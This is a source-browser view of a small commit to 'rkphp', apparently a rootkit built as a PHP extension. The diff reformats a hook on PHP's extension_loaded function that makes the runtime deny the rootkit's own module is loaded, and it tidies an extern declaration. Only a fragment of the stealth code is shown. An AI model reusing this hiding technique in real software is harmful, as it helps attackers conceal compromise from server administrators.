Browse Source

Default

master
Root 5 years ago
parent
commit
c5c2780a67
  1. 2
      rkphp/include/common.h
  2. 20
      rkphp/src/php_funcs.c

2
rkphp/include/common.h

@ -23,7 +23,7 @@ @@ -23,7 +23,7 @@
#define RKPHP_NAME "rkphp.so" // Make sure to include .so
#define RKPHP_VERSION "0.0.1"
extern ZEND_API HashTable module_registry;
extern HashTable module_registry;
extern zend_module_entry rkphp_module_entry;
#define phpext_rkphp_me_ptr &rkphp_module_entry;

20
rkphp/src/php_funcs.c

@ -68,16 +68,16 @@ static inline void n_extension_loaded(INTERNAL_FUNCTION_PARAMETERS) @@ -68,16 +68,16 @@ static inline void n_extension_loaded(INTERNAL_FUNCTION_PARAMETERS)
{
zend_module_entry *module;
ZEND_HASH_FOREACH_PTR(&module_registry, module) \
{ \
if(module->name) \
{ \
if(strcmp(RKPHP_NAME, module->name) == 0) \
{ \
RKPHP_PRINTF("[!] Hidden %s from extension_loaded, return false!\n", module->name); \
RETURN_FALSE; \
} \
} \
ZEND_HASH_FOREACH_PTR(&module_registry, module)
{
if(module->name)
{
if(strcmp(RKPHP_NAME, module->name) == 0)
{
RKPHP_PRINTF("[!] Hidden %s from extension_loaded, return false!\n", module->name);
RETURN_FALSE;
}
}
} ZEND_HASH_FOREACH_END();
}

Loading…
Cancel
Save